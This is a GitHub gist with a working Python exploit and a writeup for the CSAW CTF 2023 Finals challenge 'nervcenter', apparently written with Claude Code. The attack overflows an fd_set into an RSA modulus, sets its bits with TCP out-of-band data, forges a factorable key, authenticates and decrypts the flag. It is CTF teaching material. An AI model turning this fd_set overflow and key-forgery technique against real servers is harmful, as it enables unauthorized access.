Skip to content

Instantly share code, notes, and snippets.

@moyix
Last active March 10, 2026 13:35
Show Gist options
  • Select an option

  • Save moyix/2f98ba66379e2685a555f9ab563f19ad to your computer and use it in GitHub Desktop.

Select an option

Save moyix/2f98ba66379e2685a555f9ab563f19ad to your computer and use it in GitHub Desktop.
Claude Code + Sonnet 4.6 Solution for CSAW CTF 2023 Finals Challenge nervcenter
#!/usr/bin/env python3
"""
nervcenter CTF challenge exploit
Attack summary:
1. Connect to control port (2000), get sensor port from banner
2. Read N via "Print public key" to get N[8:128] (the uncontrollable lower bytes)
3. Find small prime p (< 2^64) such that q = N'/p is also prime,
where N' = [X || N[8:128]] and X = (-N[8:128] * inverse(2^960, p)) % p
4. Open ~1083 sensor connections to fill server fds 5..1087
5. Send TCP OOB (urgent) data on connections whose server-fd bits we want SET in N[0:8]
- select() in sensor thread clears non-exceptional bits, so only OOB fds keep their bits
6. Halt sensor thread to freeze N[0:8] = X
7. Authenticate with PKCS#1 v1.5 signature using d = inverse(e, (p-1)*(q-1))
8. Get encrypted flag (AES-256-GCM key wrapped with RSA-OAEP using N')
9. Decrypt with our private key
"""
import socket
import time
import base64
import struct
import sys
import os
from pwn import *
# Force IPv4 to avoid pwntools trying IPv6 first (which can hang if server
# accepts IPv6 connections but banner delivery is slow under QEMU emulation)
context.update(kernel='amd64')
try:
from Crypto.Util.number import bytes_to_long, long_to_bytes, inverse, isPrime, GCD
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from sympy import nextprime
except ImportError:
print("Install: pip install pycryptodome sympy pwntools")
sys.exit(1)
HOST = os.environ.get('HOST', 'localhost')
CTRL_PORT = int(os.environ.get('PORT', 2000))
# Use generous timeout for pwntools since emulated x86 can be slow
context.timeout = 120
# PKCS#1 v1.5 DigestInfo header for SHA-256
DIGESTINFO_SHA256 = bytes([
0x30, 0x31, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01,
0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x04, 0x20
])
def find_factorable_N(N_lower_bytes):
"""
Find 64-bit value X and prime p such that:
- p | (X * 2^960 + N_lower) (where N_lower = bytes_to_long(N_lower_bytes))
- q = (X * 2^960 + N_lower) // p is also prime
- X_bytes[0] != 0 (auth requires N[0] != 0)
We use primes p in [2^56, 2^63) so X < p < 2^63 fits in 8 bytes,
and X_bytes[0] = X>>56 != 0 (i.e., X >= 2^56) with ~probability 99%.
Returns (X, p, q, d, N_prime) where d = inverse(65537, (p-1)*(q-1))
"""
N_lower = bytes_to_long(N_lower_bytes)
e = 65537
# Use primes p in (2^56, 2^63) so:
# - X < p < 2^63 fits in 8 bytes (long_to_bytes(X, 8) always OK)
# - X_bytes[0] = X >> 56; since X >= 0, X_bytes[0] ranges 0..127
# - X_bytes[0] != 0 requires X >= 2^56 ≈ probability (p-2^56)/p ≈ 99%
p = nextprime(2**62) # start at ~2^62 so X_bytes[0] spans 0x40..0x7f range
attempts = 0
while True:
# Solve: X * 2^960 ≡ -N_lower (mod p)
# X = (-N_lower * inverse(2^960, p)) % p
mod_2_960 = pow(2, 960, p)
X = (-N_lower * inverse(mod_2_960, p)) % p
# X < p < 2^63 < 2^64, so fits in 8 bytes
X_bytes = long_to_bytes(X, 8)
# Auth requires N[0] != 0, i.e., X_bytes[0] != 0
if X_bytes[0] == 0:
p = nextprime(p + 1)
attempts += 1
continue
# fd exhaustion fix: we use N_OVERFLOW=63 (fds 1024..1086), not 64.
# Bit 63 of fds_bits[16] (LE) = X_bytes[7] bit 7.
# Since we don't have fd 1087, this bit must be 0 in our target.
if X_bytes[7] & 0x80:
p = nextprime(p + 1)
attempts += 1
continue
# Build N' = [X_bytes || N_lower_bytes]
N_prime_bytes = X_bytes + N_lower_bytes
N_prime = bytes_to_long(N_prime_bytes)
# Verify divisibility
assert N_prime % p == 0
q = N_prime // p
# Check primality and key validity
if isPrime(q) and GCD(e, (p-1)*(q-1)) == 1:
phi = (p-1) * (q-1)
d = inverse(e, phi)
print(f"[+] Found factorization after {attempts+1} attempts!")
print(f" p = {p.bit_length()} bits: {hex(p)[:18]}...")
print(f" q = {q.bit_length()} bits: {hex(q)[:18]}...")
print(f" X_bytes = {X_bytes.hex()}")
return X, p, q, d, N_prime
p = nextprime(p + 1)
attempts += 1
if attempts % 500 == 0:
print(f"[*] Searching for factorization... {attempts} attempts")
def make_pkcs1_v15_sig(message_hash_bytes, d, N_prime):
"""
Compute RSA PKCS#1 v1.5 signature where message_hash_bytes is the
32-byte SHA-256 digest (OpenSSL RSA_verify uses it directly as the hash).
Structure: 0x00 || 0x01 || 0xFF...0xFF || 0x00 || DigestInfo || hash
"""
n_len = 128 # 1024-bit key = 128 bytes
pad_len = n_len - len(DIGESTINFO_SHA256) - len(message_hash_bytes) - 3
em = (bytes([0x00, 0x01]) +
bytes([0xFF] * pad_len) +
bytes([0x00]) +
DIGESTINFO_SHA256 +
message_hash_bytes)
assert len(em) == n_len, f"em length wrong: {len(em)}"
em_int = bytes_to_long(em)
sig_int = pow(em_int, d, N_prime)
return long_to_bytes(sig_int, n_len)
def decode_nerv_message(pem_data, N_prime, d, p, q):
"""
Decode and decrypt a NERV encrypted message.
Binary layout (before base64):
[0:8] = ciphertext_len (uint64 LE)
[8:8+ciphertext_len] = AES-256-GCM ciphertext
[8+cl:8+cl+16] = GCM tag (16 bytes)
[8+cl+16:8+cl+28] = IV / nonce (12 bytes)
[8+cl+28:8+cl+28+128] = RSA-OAEP(aes_key) (128 bytes)
"""
# Strip PEM headers and decode base64
lines = pem_data.strip().split(b'\n')
b64_data = b''.join(
line.strip() for line in lines
if b'-----' not in line
)
raw = base64.b64decode(b64_data)
print(f"[*] Decoded {len(raw)} bytes of encrypted data")
cl = struct.unpack('<Q', raw[0:8])[0]
ciphertext = raw[8 : 8+cl]
tag = raw[8+cl : 8+cl+16]
iv = raw[8+cl+16 : 8+cl+28]
wrapped_key = raw[8+cl+28 : 8+cl+28+128]
print(f"[*] ciphertext_len={cl}, iv={iv.hex()}, tag={tag.hex()[:16]}...")
# Decrypt AES key with RSA-OAEP
rsa_key = RSA.construct((N_prime, 65537, d, p, q))
cipher_rsa = PKCS1_OAEP.new(rsa_key)
aes_key = cipher_rsa.decrypt(wrapped_key)
print(f"[+] AES key decrypted: {aes_key.hex()}")
# Decrypt flag with AES-256-GCM
cipher_aes = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
flag = cipher_aes.decrypt_and_verify(ciphertext, tag)
return flag
def main():
# ─── Step 1: Connect to control port ───────────────────────────────────
print(f"[*] Connecting to {HOST}:{CTRL_PORT}...")
ctrl = remote(HOST, CTRL_PORT, fam=socket.AF_INET)
# Read everything until "Session sensor port is: "
ctrl.recvuntil(b"Session sensor port is: ")
sensor_port = int(ctrl.recvline().strip())
print(f"[+] Sensor port: {sensor_port}")
ctrl.recvuntil(b"You can connect to this port to view sensor data.\n")
# ─── Step 2: Get public key (= base64 of N) ────────────────────────────
ctrl.recvuntil(b"Enter your choice: ")
ctrl.sendline(b"2")
ctrl.recvuntil(b"Your public key is:\n")
pubkey_line = ctrl.recvline().strip()
ctrl.recvuntil(b"Enter your choice: ")
# Format: "ssh-rsa <base64> newuser@nerv"
# Due to the memcpy bug in FUN_00106560, the base64 encodes only N bytes.
# If N[0] >= 0x80: encodes exactly 128 bytes
# If N[0] < 0x80: encodes 129 bytes (0x00 prefix + 128 bytes of N)
N_b64 = pubkey_line.split(b' ')[1]
N_raw = base64.b64decode(N_b64)
if len(N_raw) == 129 and N_raw[0] == 0:
N_bytes = N_raw[1:]
else:
N_bytes = N_raw[-128:]
print(f"[+] N[0:8] = {N_bytes[:8].hex()}")
print(f"[+] N[8:16] = {N_bytes[8:16].hex()}")
N_lower_bytes = N_bytes[8:] # 120 bytes we can't control
# ─── Step 3: Compute the factorization ────────────────────────────────
print("[*] Computing factorization of N'...")
X, p, q, d, N_prime = find_factorable_N(N_lower_bytes)
X_bytes = long_to_bytes(X, 8)
# fds_bits[16] is a LE uint64 in memory starting at session+0x270 = N[0:8]
# fd (1024+j) sets bit j of fds_bits[16]
# bit j of fds_bits[16] = bit (j%8) of N[j//8]
# So fds_bits[16] as integer = int.from_bytes(N[0:8], 'little')
fds_bits_target = int.from_bytes(X_bytes, 'little')
# ─── Step 4: Open sensor connections ──────────────────────────────────
# Server child process fds after fork and setup:
# 0,1,2 (std), 3,4,5 (from FUN_00107ee0 credits loading),
# 6 (sensor listen), 7 (control)
# So sensor connections start at fd 8!
# First overflow fd (>= 1024): connection index = 1024 - 8 = 1016
# RLIMIT_NOFILE = 1088 → max fd = 1087 → last overflow connection = 1087 - 8 = 1079
#
# CRITICAL: We use N_OVERFLOW=63 (fds 1024..1086) NOT 64.
# With N_TOTAL=1080 (fds 8..1087), all 1088 fds are exhausted and
# fopen("flag.txt") fails with EMFILE. Leaving fd 1087 free fixes this.
# Constraint: fds_bits[16] bit 63 (= fd 1087) must be 0 in our target,
# i.e., X_bytes[7] & 0x80 == 0. This is enforced in find_factorable_N.
FIRST_SENSOR_FD = 8 # verified empirically
N_FILLER = 1024 - FIRST_SENSOR_FD # = 1016
N_OVERFLOW = 63 # fds 1024..1086; fd 1087 left free for fopen()
N_TOTAL = N_FILLER + N_OVERFLOW # = 1079
print(f"[*] Opening {N_TOTAL} sensor connections serially to ensure correct fd ordering...")
print(f" (Server accepts one per select() cycle ~1ms each; may take ~1-2 min under emulation)")
sensor_socks = []
for i in range(N_TOTAL):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, sensor_port))
sensor_socks.append(s)
if (i+1) % 200 == 0 or (i+1) == N_TOTAL:
print(f" [{i+1}/{N_TOTAL}] connected")
print(f"[+] All {N_TOTAL} sensor connections established")
# ─── Step 5: Send OOB to set target bits in N[0:8] ────────────────────
# sensor_socks[N_FILLER + j] → server fd 1024+j → bit j of fds_bits[16]
# Send OOB on exactly those connections where bit j of fds_bits_target is 1.
print(f"[*] Setting N[0:8] = {X_bytes.hex()} via OOB data...")
oob_count = 0
for j in range(N_OVERFLOW):
if (fds_bits_target >> j) & 1:
sensor_socks[N_FILLER + j].send(b'\x01', socket.MSG_OOB)
oob_count += 1
print(f"[+] Sent OOB on {oob_count}/{N_OVERFLOW} overflow connections")
# Wait for sensor thread to run select() and stabilize N[0:8]
print("[*] Waiting 2s for N[0:8] to stabilize...")
time.sleep(2)
# ─── Step 6: Halt sensor thread to freeze N[0:8] ─────────────────────
print("[*] Halting sensor thread...")
ctrl.recvuntil(b"Enter your choice: ")
ctrl.sendline(b"3")
ctrl.recvuntil(b"Sensors are now on standby\n")
print("[+] Sensor thread halted")
# Optionally verify N[0:8] was set correctly
ctrl.recvuntil(b"Enter your choice: ")
ctrl.sendline(b"2")
ctrl.recvuntil(b"Your public key is:\n")
pubkey2_line = ctrl.recvline().strip()
ctrl.recvuntil(b"Enter your choice: ")
N2_raw = base64.b64decode(pubkey2_line.split(b' ')[1])
if len(N2_raw) == 129 and N2_raw[0] == 0:
N2_bytes = N2_raw[1:]
else:
N2_bytes = N2_raw[-128:]
if N2_bytes[:8] == X_bytes:
print(f"[+] N[0:8] confirmed = {X_bytes.hex()} ✓")
else:
print(f"[!] N[0:8] = {N2_bytes[:8].hex()}, expected {X_bytes.hex()}")
print(f"[!] Proceeding anyway (timing might be off)...")
# ─── Step 7: Authenticate ─────────────────────────────────────────────
print("[*] Authenticating...")
ctrl.sendline(b"1")
ctrl.recvuntil(b"Challenge: ")
challenge_hex = ctrl.recvline().strip()
challenge_bytes = bytes.fromhex(challenge_hex.decode())
print(f"[+] Challenge: {challenge_hex.decode()}")
ctrl.recvuntil(b"Response: ")
sig = make_pkcs1_v15_sig(challenge_bytes, d, N_prime)
ctrl.sendline(sig.hex().encode())
auth_response = ctrl.recvuntil(b"Enter your choice: ", timeout=15)
if b"Authentication successful" in auth_response:
print("[+] Authenticated successfully!")
else:
print(f"[-] Auth failed: {auth_response[:300]}")
ctrl.close()
for s in sensor_socks:
s.close()
return
# ─── Step 8: Request encrypted flag ───────────────────────────────────
print("[*] Requesting flag...")
# Now in admin menu: "Authenticated menu: 1. Send flag ..."
ctrl.sendline(b"1")
# Read until end of PEM block
try:
pre_data = ctrl.recvuntil(b"-----BEGIN NERV ENCRYPTED MESSAGE-----\n", timeout=30)
print(f"[*] Pre-PEM data: {repr(pre_data[:500])}")
except EOFError as ex:
remaining = b""
try:
remaining = ctrl.recvall(timeout=2)
except Exception:
pass
print(f"[-] EOF before PEM header. Got: {repr(remaining[:500])}")
ctrl.close()
for s in sensor_socks:
s.close()
return
enc_lines = ctrl.recvuntil(b"-----END NERV ENCRYPTED MESSAGE-----\n")
pem_data = b"-----BEGIN NERV ENCRYPTED MESSAGE-----\n" + enc_lines
print(f"[+] Got encrypted flag ({len(pem_data)} bytes)")
# ─── Step 9: Decrypt ──────────────────────────────────────────────────
print("[*] Decrypting flag...")
try:
flag = decode_nerv_message(pem_data, N_prime, d, p, q)
print(f"\n{'='*60}")
print(f"FLAG: {flag.decode().strip()}")
print(f"{'='*60}\n")
except Exception as e:
print(f"[-] Decryption error: {e}")
import traceback
traceback.print_exc()
ctrl.close()
for s in sensor_socks:
s.close()
if __name__ == '__main__':
main()

NERV Center — CSAW CTF 2023 Finals Writeup

Category: Crypto + Pwn Author: Brendan Dolan-Gavitt (moyix) Points: 500 (dynamic scoring, minimum 50)

Get into the server, Shinji. Or Rei will have to do it again. nc {box} {port}


Overview

nervcenter is a 64-bit Linux ELF binary that implements a multi-threaded server with a sensor monitoring subsystem and an authenticated admin interface. The challenge requires chaining three bugs to forge an RSA-1024 public key and authenticate as an administrator, then decrypt the encrypted flag.

The bugs involved:

  1. An fd_set overflow that lets an attacker control the top 8 bytes of an RSA modulus
  2. A TCP out-of-band (OOB/urgent) data trick to precisely set those 8 bytes
  3. An EMFILE (file descriptor exhaustion) issue that prevents fopen() from succeeding unless the attack is tuned carefully

Server Architecture

The server forks a child process for each control connection. Each child spawns two pthreads:

  • Control thread — handles the menu on the control socket (port 2000)
  • Sensor thread — accepts and monitors connections on a per-session sensor port (port 2001 + session offset)

On startup the child process has these file descriptors open:

fd Description
0 /dev/null
1 stdout pipe (docker log)
2 stderr pipe (docker log)
3,4 /challenge/nervcenter (linker mapping)
5 /run/rosetta/rosetta (Rosetta JIT, Apple Silicon only)
6 sensor listen socket
7 control connection socket

Sensor connections begin at fd 8.

Control Menu (unauthenticated)

1. Authenticate
2. Print public key
3. Issue sensor system halt
4. Resume sensor operations
5. MAGI status
6. Help
7. Exit

Session RSA Key

Each session generates an RSA-1024 keypair stored in a session struct. The modulus N is stored at session+0x270 (128 bytes). The public key is exposed via menu option 2 as an SSH-format base64 blob.


Bug 1: fd_set Overflow → RSA Modulus Corruption

The Vulnerability

The sensor thread runs a tight loop:

// Pseudocode of sensor thread loop (FUN_00105030)
while (true) {
    // Clear fd_sets for fds 0..1023 (fds_bits[0..15])
    // NOTE: fds_bits[16] (fds 1024..1087) is NOT cleared
    memset(readfds,   0, 128);  // 16 longs × 8 bytes
    memset(writefds,  0, 128);
    memset(exceptfds, 0, 128);

    // Set bits for all active sensor connections
    for each active_fd in sensor_fds:
        BIT_SET(readfds,   active_fd);
        BIT_SET(writefds,  active_fd);
        BIT_SET(exceptfds, active_fd);  // ← writes to session+0x270 if fd >= 1024

    select(max_fd + 1, &readfds, &writefds, &exceptfds, &timeout);
    // After select(), exceptfds contains only fds with pending OOB data
}

The fd_set struct is a bitfield of 1024 bits (128 bytes = 16 × uint64). The server sets RLIMIT_NOFILE = 1088, allowing fds 0–1087. When sensor connections reach fd 1024, the code that ORs their bits into exceptfds writes into fds_bits[16] — which sits at session+0x270, exactly overlapping the first 8 bytes of the RSA modulus N.

select() and OOB Data

select() with nfds > 1024 causes the kernel to read 136 bytes from exceptfds (17 × 64-bit longs), including fds_bits[16] = N[0:8]. The kernel then clears any bits in exceptfds that do not have pending OOB (urgent) data, and writes the result back.

This gives us precise bit-level control: send MSG_OOB on the connections whose server-side fds correspond to the bits you want SET in N[0:8]. Since OOB data is never consumed by the server (the sensor thread only calls read(), never recv(MSG_OOB)), the bits remain set indefinitely.

After select(): N[0:8] = union of bits for fds 1024–1086 that have pending OOB data.


Bug 2: RSA Private Key Derivation

We can control N[0:8] (8 bytes), but the lower 120 bytes of N come from the server's RNG and are unknown to us... except we can read them via the "Print public key" menu option before doing anything else.

Attack Strategy

  1. Read N from the server: we control N[0:8] = X_bytes, and N[8:128] is given.
  2. Find a prime p such that N' = X_bytes || N[8:128] is divisible by p.
    • Solve: X * 2^960 ≡ -N[8:128] (mod p)
    • X = (-N[8:128] * inverse(2^960, p)) % p
  3. Check: is q = N' / p also prime? If so, we have a factorization.
  4. Compute the private key: d = inverse(65537, (p-1)(q-1))

We search primes p near 2^62. For a random N[8:128], a solution is typically found in a few hundred attempts. We additionally require:

  • X_bytes[0] != 0 (the server rejects RSA keys with a zero leading byte)
  • bit 63 of int.from_bytes(X_bytes, 'little') == 0 (see Bug 3 below)

Bug 3: File Descriptor Exhaustion

The Problem

The admin menu (option 1 when authenticated) sends the client a notice and "Sending flag...", then calls fopen("flag.txt", "r"). If fopen fails, the function returns 0, which triggers session cleanup.

With the attack as described:

  • 8 system fds (0–7) + 1080 sensor connections (fds 8–1087) = 1088 fds total
  • RLIMIT_NOFILE = 1088 → max fd = 1087
  • fopen("flag.txt") needs fd 1088EMFILEfopen returns NULL

The "NOTE:" and "Sending flag..." messages are sent before the fopen call, so the client sees them just before the connection is closed with no encrypted data.

The Fix

Use only 63 overflow connections (fds 1024–1086) instead of 64. This leaves fd 1087 free for fopen().

  • N_FILLER = 1016 (fds 8–1023, to reach the overflow threshold)
  • N_OVERFLOW = 63 (fds 1024–1086)
  • N_TOTAL = 1079

The missing connection (fd 1087) corresponds to bit 63 of fds_bits[16] in little-endian interpretation, i.e., bit 7 of X_bytes[7]. We add the constraint X_bytes[7] & 0x80 == 0 to the factorization search. This roughly halves the candidate space; solutions are still found quickly.


Exploit Flow

1. Connect to control port (2000), read sensor port and session banner
2. Send "2" → read N[0:128] (server's public key)
   - We control N[0:8] later; read N[8:128] now (the uncontrollable part)
3. Search for prime p such that:
   - X = (-N[8:128] * inverse(2^960, p)) % p
   - X_bytes[0] != 0  (non-zero leading byte)
   - X_bytes[7] & 0x80 == 0  (bit 63 of fds_bits target must be 0)
   - q = (X * 2^960 + N[8:128]) / p is prime
   - gcd(65537, (p-1)(q-1)) == 1
4. Open 1079 sensor connections serially (server accepts 1 per select() cycle)
5. Send MSG_OOB on the 63 overflow connections (fds 1024-1086) where the
   corresponding bit of int.from_bytes(X_bytes, 'little') is set
6. Send "3" on control socket → halt sensor thread
   (The halt waits for the sensor thread to enter pthread_cond_wait;
    under Rosetta emulation this takes 5–10 minutes per select() call)
7. Verify N[0:8] == X_bytes by reading the public key again
8. Send "1" on control socket → authenticate
   - Server issues a 32-byte random challenge
   - Sign challenge with PKCS#1 v1.5 using our private key (d, N')
   - Server pauses sensor thread, reads N from session+0x270, verifies
     RSA_verify(challenge, signature, N') → success
9. Send "1" on admin menu → request encrypted flag
   - Server calls fopen("flag.txt") → succeeds (fd 1087 is free)
   - Server encrypts flag.txt with AES-256-GCM, wraps key with RSA-OAEP using N'
   - Receives PEM block: [ciphertext_len][ciphertext][tag][iv][RSA(aes_key)]
10. Decrypt:
    - RSA-OAEP decrypt wrapped_key using our private key (d, p, q, N')
    - AES-256-GCM decrypt ciphertext using recovered aes_key and iv
    - Print flag

Key Implementation Details

PKCS#1 v1.5 Signature

The server uses RSA_verify() from OpenSSL, which expects a PKCS#1 v1.5 DigestInfo-wrapped SHA-256 hash. We construct the signature manually:

0x00 || 0x01 || 0xFF...0xFF || 0x00 || DigestInfo_SHA256_header || challenge_hash

Then compute sig = pow(em_int, d, N').

Encrypted Message Format

[8 bytes LE]  ciphertext_length
[cl bytes]    AES-256-GCM ciphertext of flag
[16 bytes]    GCM authentication tag
[12 bytes]    GCM nonce / IV
[128 bytes]   RSA-OAEP encrypted AES key (using our N')

Sensor Thread Select() Details

The sensor thread's fd_set layout in memory (relative to session struct):

  • exceptfds starts at session+0x1f0
  • fds_bits[0..15] = bytes 0–127 = fds 0–1023 ← cleared each iteration
  • fds_bits[16] = bytes 128–135 = fds 1024–1087 = N[0:8] ← NOT cleared

Solve Script

# Key parameters:
FIRST_SENSOR_FD = 8     # verified from /proc/<pid>/fd inspection
N_FILLER   = 1016       # fds 8..1023 (below overflow threshold)
N_OVERFLOW = 63         # fds 1024..1086 (leave fd 1087 free for fopen)
N_TOTAL    = 1079

# Factorization constraint:
# X_bytes[7] & 0x80 == 0  (bit 63 of fds_bits target must be 0)

See solve.py for the full implementation.


Timing Notes (Rosetta / QEMU)

Running the x86-64 binary under Apple Rosetta 2 (or QEMU) introduces significant overhead:

Step Native Emulated
Per select() iteration ~1ms ~185ms
Open 1079 sensor connections ~1s ~3 min
Halt sensor thread ~0.1s ~5–10 min

On native x86-64 hardware, the full exploit completes in under a minute.


Flag

flag{...}

(The actual challenge flag is set by the CTF infrastructure at deploy time.)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment